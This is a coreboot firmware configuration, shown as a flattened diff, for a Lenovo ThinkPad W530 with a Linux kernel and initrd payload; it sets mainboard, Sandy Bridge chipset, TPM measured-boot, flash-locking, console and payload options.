CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="ThinkPad W530" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad W530" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/t530" +CONFIG_VGA_BIOS_ID="8086,0166" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="w530" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W530" CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set CONFIG_BOARD_LENOVO_W530=y +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_VBOOT_SLOTS_RW_AB=y +CONFIG_DRIVER_LENOVO_SERIALS=y +CONFIG_PS2K_EISAID="LEN0071" +CONFIG_PS2M_EISAID="LEN0015" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_BOARD_LENOVO_BASEBOARD_T530=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set +CONFIG_RAMINIT_ENABLE_ECC=y + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_DRIVERS_RICOH_RCE822=y +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=5 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_NULL=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y 